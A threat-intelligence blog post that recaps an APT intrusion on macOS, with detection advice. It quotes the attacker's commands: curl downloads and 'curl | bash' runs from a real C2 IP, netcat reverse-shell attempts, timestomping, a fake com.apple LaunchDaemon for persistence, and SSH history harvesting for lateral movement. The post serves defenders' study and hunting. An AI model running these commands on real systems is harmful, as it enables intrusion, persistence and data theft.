What does APT Activity Look Like on MacOS?
Published by jaron.bradley on
What does APT Activity Look Like on macOS?
I often get asked what Advanced Persistent Activity (APT) or nation state hacking looks like on a macOS system. This is a great question and the answer is not widely known. Every APT entity has its own unique craft, but I often find myself directing people to a talk I gave back in 2018 titled Macdoored. This talk primarily focused on a single entity intruding into a network and performing a full on attack across multiple macOS devices. Whenever I direct people to this talk, the issue is that they don’t feel like watching an hour long video and taking notes. So in this blog post I will be reformatting that talk into a slightly shorter blog form.
Macdoored
A note: When I presented these findings back in 2018 I worked at a different company than I do now. Because of that, I will not be sharing any new information regarding the intrusions. I will simply just be recapping details that I’ve shared previously. For reference, the slides I used for this talk can be found here.
Recon
Starting with the most basic of phases, recon on a macOS device looks almost exactly what you’d expect it to look like. A bunch of commands that exist on most Unix systems get executed to discover information about the local system and the systems it can talk to. In fact, I don’t even really bother including many of the commands that I’ve seen get executed because they aren’t very exciting at all. The built-in shell environment on macOS, like most POSIX compliant systems, comes with many pre-built commands to learn anything and everything about the system. Some of the interesting items I chose to share are as follows…
sw_vers
system_profiler
dscl . -list /Users
ping -c1 <system>
dig <host>
dns-sd -B _ssh._tcp .
Let’s break down each of these commands and why I chose to note them.
sw_vers
A very simple command that spits back your system’s ProductName, ProductVersion, and BuildVersion.
system_profiler
This command is specific to macOS and is the recon command of all commands. It will tell you almost anything you want to know about the system it’s executed on. Among the wealth of information loaded in this output are things like Apple Pay information, nearby Wi-Fi access points, device information, hard drives, mounted drives, application versioning (a whole lot of it), and more.
dscl
This command simply lists the users on the system. This is essentially the same as printing the /etc/passwd file and only looking at the first field. The results include service users which begin with an underscore.
ping
This one is obviously not Mac specific. I chose to include it because of the mass frequency in which it was used. The attacker pinged many systems with -c1 argument which tells ping to send a single ping rather than continuous pings.
dig
This is another one that isn’t Mac specific but was once again used a lot by the attacker in order to perform a number of dns lookups on different hosts.
dns-sd
A super interesting command that you won’t spot everyday. That’s because this command is actually specific to the Apple Bonjour service. Of course other platforms are able to benefit from Bonjour services as well, but Bonjour is well integrated into macOS and probably even something that you’re using every day without even realizing it. Here’s a quick description of Bonjour from the Apple website.
“The Bonjour zero-configuration networking architecture provides support for publishing and discovering TCP/IP-based services on a local area or wide area network.”
So circling back to the command. What is this command actually doing? As you might have guessed this command is searching for other systems that are broadcasting an open SSH server (-B _ssh._tcp .). What’s very interesting here is that no port scan is actually occurring. Per the Apple Bonjour concepts documentation: “An mDNS query is sent out for a given service type and domain, and any matching services reply with their names. The result is a list of available services to choose from.” In this case the attacker is simply searching for systems specifically broadcasting SSH.
Malware Setup and Installation
On to perhaps a more interesting part. I’ll ruin the surprise and start by saying that in this particular attack, the attacker was using a backdoor called Tinyshell. I reversed and broke down this backdoor in a previous blog post. If you don’t care about the nitty gritty details, then just note that Tinyshell is a backdoor that operates a lot like SSH. The attacker had modified it slightly to read a config file planted at /etc/.cache. Another fun note, this is not the first time that the open-source TinyShell has been modified and used inside of an APT attack against Mac systems.
An interesting note about the backdoor setup is that this activity was not scripted. It was all manually typed in by the attacker after gaining access to the system and elevating to sudo (with a password that they had presumably stolen). The specific commands used to set up this backdoor are as follows (note that the attacker jumped around between directories between all these commands)
# Attacker pulls down a MachO Executable (tinyshell)
curl -O hxxp://61.78.62.21:8080/Tssd
# Attacker renames backdoor to rutil
mv /var/tmp/Tssd rutil
# Attacker takes the timestamp from a file called r2util and applies them to the backdoor
touch -r r2util rutil
# Attacker (likely) checks that the timestamp updates worked
ls -la /usr/local/bin/rutil
# Attacker creates a config file for the backdoor at the expected location
vim /etc/.cache.
# Attacker modifies the permissions of the config file
chmod 400 .cache
Lots of interesting stuff here. We see that the attacker uses Curl to download the Tinyshell executable. The majority of intrusions that I’ve analyzed on macOS all tend to involve Curl. If you’re a threat hunter at your company, figure out what legitimate curl activity looks like in your environment. Spotting an anomalous Curl command on a system is a fantastic flag for malicious activity. If you’re hunting on Linux, the same applies for wget. (Wget is not included on macOS by default).
Moving on, another really interesting fact here is the anti-forensics technique of taking the timestamps from one file and applying them to another file using touch -r. One might wonder why this feature exists at all. To my recollection, some developers use this command to update the timestamps of files to fix warnings from compilers that don’t like outdated source code files at compile time. However, I don’t remember where I heard this. Regardless, here it’s being used to ensure that if someone is performing file system timeline analysis, the backdoor timestamps will match that of a different utility and will look far less suspicious.
The last additional note I’ll make here is that of the final chmod command. The chmod 400 command gives read only permissions to the user that owns it. I don’t bring this up because it’s super unique. I simply want to note that many attackers don’t take the time to set appropriate permissions on files. I’ve seen a number of attacks where the attacker applies the permissions of 777 to a file. This is done so frequently by attackers and red teamers that it could even possibly make a good detection flag. By using the mode 400 the attacker ensures that no other users can access this file and nobody is capable of editing it.
Other Backdoor Details
The attacker was hosting multiple different backdoors at the IP address in question. On each system they had compromised, they’d pull a different version. This could be for a few different reasons, but my best guess is that they simply wanted to ensure a different hash made it on to each compromised system. This would keep security analysts from being able to perform any type of system sweep for a specific hash.
curl -O hxxp://61.78.62.21:8080/Tssd
curl -O hxxp://61.78.62.21:8080/Tss
curl -sO hxxp://61.78.62.21:8080/grrs
The IP address that was hosting these malware samples was also the command and control server that the Tinyshell malware was talking to.
61.78.62.21
This IP address has actually been around for a good while. In fact, a few years back you could easily find it referenced in “Blue Coat Labs” reports dating many years back. Blue Coat Labs was bought by Symantec in 2016 and I’m no longer able to find the report that originally referenced it.
Similarly, ProtectWise did a fantastic write up on this IP address being used in multiple intrusions. They have since been purchased by Verizon and their website seems to no longer exist. Fortunately, the report could still be found on cyber-peace.com. So I snagged it in case it happens to disappear at some point. This write up ties this IP address to Winnti group also known as Wicked Panda. It highlights some truly interesting details about the operations of Winnti group and although it doesn’t mention a ton about macOS, it does give a lot of insight into this group who is clearly familiar and experienced with the platform.
I made note in my talk that many anti-virus vendors register this malware as Keydnap. I have no idea what this reasoning is as I see no connections.
Did I Mention Curl?
Remember when I said it’s good knowledge to know what Curl activity looks like in your environment? Here’s a handful of other commands executed.
curl -O hxxp://61.78.62.21:8080/1.txt -o /var/tmp/1.txt
curl hxxp://61.78.62.21:8080/5.txt | bash
curl hxxp://61.78.62.21:8080/5.txt%20|%20bash
curl hxxp://61.78.62.21:8080/5.txt%20|%20bash
curl hxxp://61.78.62.21:8080/5.txt\x7cbash
curl hxxp://61.78.62.21:8080/5.txt%7cbash
curl hxxp://61.78.62.21:8080/5.txt || bash
curl hxxp://61.78.62.21:8080/x
Clearly we see the attacker is struggling to get the commands executed correctly here. We see multiple attempts that look nearly identical with small characters changed. My best guess is that perhaps there are some weird unicode issues passing commands through the backdoor. I’m unsure, but regardless, there are many attempts done over Curl here, all which generate system activity.
More on Attacker Mistakes
Speaking of attacker mistakes, take a look at the large amount of netcat commands executed in attempts to communicate with the C2.
nc 61.78.62.21 53 -e /bin/sh
nc -e /bin/sh 61.78.62.21 53
nc --e /bin/sh 61.78.62.21 53
nc --exec /bin/sh 61.78.62.21 53
/bin/sh | nc 61.78.62.21 53
mknod /tmp/p p && telnet 61.78.62.21 53 0/tmp/p
This activity was performed after the attacker had logged into a system via SSH (we’ll get into this later). We see that they’re trying to reach out to the c2 (which is operating on port 53). This is likely an attempt to just gain a quick reverse shell back to the server. However, on macOS I can assure you these commands didn’t work. The majority of these attempts use the “-e” switch in order to try to execute a shell connecting to the remote IP. However, the “-e” switch does not exist on the BSD version of the netcat executable which is what macOS comes with by default. The attacker gives up and instead attempts to pipe an sh instance directly into netcat. I’m not even confident this would work on any existing Unix distribution.
Lastly, we see a failed attempt to use the mknod command to create a “pty” file and then use that file to make a connection via Telnet. My guess is that, after being frustrated, the attacker found this command via Google and gave it a shot just to find out that it also does not work. This is due to the fact that on macOS the mknod command does not allow for the creation of pty types like it does on many Linux distributions.
Why do I bring these mistakes up? Threat hunting on attacker mistakes is actually an underrated strategy. Given that part (or most) of threat hunting is spent ruling out legitimate software that runs suspicious looking commands we can skip these false positives altogether by looking for commands that legitimate software will never run simply because they will never work. This ensures that the suspicious commands being executed are likely run by a human or malicious program/script of some type (or someone testing a red team approach on a Mac that they assume will work since it works on Linux). For those of you hunting process activity in Splunk…
# Remember, you’re not hunting for reverse shells here , your hunting for attackers that don’t understand macOS
# Yes. It really is this simple
path=“/usr/bin/nc” AND CommandLine contains “-e ”
Persistence
Moving on, let’s consider how the attackers ensured that the backdoor would always connect back to the command and control if the computer restarted or the malware was killed. Truth be told, there were a couple very basic approaches used here but each one deserves a special mention. Let’s quickly recap the three different locations where launch agents and launch daemons can be placed
# System Level (These will run as the root user)
/System/Library/LaunchDaemons/
/System/Library/LaunchAgents/
# Root Level (These will run as the root user)
/Library/LaunchDaemons/
/Library/LaunchAgents/
# User Level - (These will run with the permissions of the logged in user)
/Users/$USER/Library/LaunchDaemons/
/Users/$USER/Library/LaunchAgents/
As most of us know, you can create a plist file in one of these locations to ensure your software runs every time the system starts. The difference between the user level and the root level is obvious. The user level will run software at startup that runs with the permissions of the user rather than root. So what’s the difference between the root level plists and the system level plists? Pragmatically speaking, the answer is nothing. The only real difference is that the launch agents and daemons at the system level are protected by System Integrity Protection. Only Apple is capable of writing daemons and agents to this location.
This change (also known as rootless) was invoked on OS X El Capitan and was a smart move on Apple’s part. Malware authors realized that they could write launch daemons to these locations and they would become buried in a sea of Apple software plists. Apple’s response was to completely block users (including root) from being able to create launch daemons in that location (with a few exceptions that I won’t get into now).
With that note out of the way, let’s take a look at what the attacker did on the systems they were able to access. On compromised systems vim was used to create the following launch daemon.
/Library/LaunchDaemons/com.apple.xsprinter.plist
A command would then be ran to force the launch daemon to be loaded via the following command…
launchctl load –w /Library/LaunchDaemons/com.apple.xsprinter.plist
When this launch daemon was loaded Tinyshell would be executed in the background. Even though this is just a basic launch daemon, there’s still a notable opportunity for detection here. As mentioned previously, Apple software belongs in the /System/Library/LaunchDaemons directory. It’s very odd that anything with the prefix “com.apple.” would be placed inside of the third party launchdaemons directory. Apple has done a pretty good job at making sure all of their software remains in /System/Library/LaunchDaemons. Therefore, the following logic often makes for very interesting results (pseudo code)
# Splunk Psuedo query to find "com.apple" plists in the wrong LaunchDaemons location
event=fileCreatedOrModified file_path=/Library/LaunchDaemons/com.apple.*.plist
If the attacker had managed to get onto a Yosemite system (much more common given that this was years ago) they would create a persistence item at the following location.
/System/Library/LaunchDaemons/com.apple.xsprinter.plist
Did you get that? The attacker actually shows some stealth knowledge here. They know that if they make it onto a system that doesn’t have SIP enabled they can hide their malware plist much deeper by placing it in a location that has many other plists, making it a needle in a haystack. Make note that just because they made the netcat mistake doesn’t mean they don’t know about different features of the operating system.
Finally, they would perform the same anti-forensics on the launch daemon that was performed on the Tinyshell backdoor by taking the timestamps from the SSH launch daemon and applying them to their new malicious launch daemon.
touch -r ssh.plist com.apple.xsprinter.plist
On some systems the attacker also looked for existing persistence items they could “piggyback” off. This was done by printing the installed “login hooks” which were also more common to find at the time.
sudo defaults read /var/root/Library/Preferences/com.apple.loginwindow.plist
Doing this would print any existing login hooks that were on the system. Login hooks were simple scripts that would be executed at startup. If any existed on the system, the attacker would modify those login scripts to run their backdoor before continuing to execute the legitimate software. A very stealthy technique and once again showing that this attacker might actually have some decent knowledge of the macOS operating system.
Lateral Movement
So upon getting onto one system how did the attacker manage to move around the network? The answer probably comes as no surprise. SSH was used. The attacker was targeting systems that had SSH keys already set up. Given that many developers don’t use a password on their SSH key, lateral movement is quite simple once you land on a system that is already setup to talk to other systems. Remember earlier we had also mentioned that the attacker was scanning for SSH systems using Bonjour as well.
Below are some of the commands the attacker used to locate accessible systems before attempting to access them via SSH.
grep ssh .bash_history
cat known_hosts
curl -sO hxxp://61.78.62.21:8080/rs
ssh -TNfq -Frs
ssh user@ip -o UserKnownHostsFile=/dev/null
The first command listed looks inside the user’s bash history (though today you’d probably target the zsh history) to determine if there are any SSH commands that this user frequently runs.
The second command is very similar but instead of looking for SSH commands in the bash history it’s looking at the known_hosts file (in the .ssh folder). The known_hosts file holds a list of IP addresses that the system has SSH’ed into in the past.
We then see the attacker Curl a file called “rs” from the c2 server. Next, the SSH command is used with the -F switch to pass in the ‘rs’ file as an argument. This tells us that the rs file is actually an SSH configuration file that the attacker has custom made.
The Story Continues
Further down the road, I helped analyze another APT intrusion that shared similarities to this one; however, I worked with a co-worker at the time to put it into blog form already. So I will simply reference it here instead of re-telling the story.
Summary
There you have it: the text version of information I presented in 2018. It shows us that attackers are knowledgeable and active in macOS environments. The same steps attackers take to enter a network and spread about in a Windows environment can be accomplished on Macs as well if the right users are compromised. Apple has taken many steps lately to build some decent security features into the operating system and for the most part I would argue they’ve succeeded in many ways. But given that macOS is designed as a personal system your company is only as safe as your users allow it to be. If you work in the security community you should ask yourself – is macOS truly more secure or is it simply less targeted?
--- Mitre Techniques Discussed Above ---
# Execution
Command and Scripting Interpreter
# Persistence
Valid Accounts (ssh)
Boot or Logon Autostart Execution (LaunchDaemon)
Hijack Execution Workflow (Modified existing login hooks)
# Privilege escalation
Valid Accounts (sudo with password)
# Defense Evasion
File and Directory Permissions Modification (chmod appropriately)
Indicator Removal on Host (Timestomp)
# Discovery
System Information Discovery
Remote System Discovery (ping, dns-sd)
Network Service Scanning (dns-sd. Operates somewhat different than a scan)
# Lateral Movement
Remote Services (SSH)